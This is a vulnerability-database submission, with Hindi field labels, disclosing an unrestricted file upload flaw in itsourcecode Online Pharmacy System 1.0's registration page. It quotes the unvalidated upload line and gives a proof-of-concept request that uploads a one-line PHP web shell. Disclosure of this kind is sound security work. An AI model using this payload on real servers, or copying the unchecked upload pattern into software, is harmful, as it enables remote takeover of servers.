| शीर्षक | itsourcecode Online Pharmacy System 1.0 Unrestricted Upload |
|---|
| विवरण | Description:
The user registration endpoint in `all_users/register.php` handles file uploads with zero validation. No extension check, no MIME type verification. Uploaded files retain original extension and are stored in a web-accessible directory, enabling PHP webshell execution.
Vulnerable Code:
**File**: `all_users/register.php`, Line 169
```php
// No extension validation, no MIME type check
move_uploaded_file($_FILES['photo']['tmp_name'], 'uploads/' . $_FILES['photo']['name']);
```
Proof of Concept:
Upload `shell.php` via registration photo field:
```http
POST /all_users/register.php HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name="photo"; filename="shell.php"
<?php system($_GET['cmd']); ?>
```
Impact:
- Unauthenticated Remote Code Execution
- Complete server compromise
- Registration endpoint is public-facing
Reference: https://github.com/microwaveabi/vul/issues/47 |
|---|
| स्रोत | ⚠️ https://github.com/microwaveabi/vul/issues/47 |
|---|
| उपयोगकर्ता | microwave (UID 96185) |
|---|
| सबमिशन | 11/07/2026 05:17 AM (1 महीना पहले) |
|---|
| संयम | 24/08/2026 07:28 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 394595 [itsourcecode Online Pharmacy System 1.0 User Registration all_users/register.php move_uploaded_file photo अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|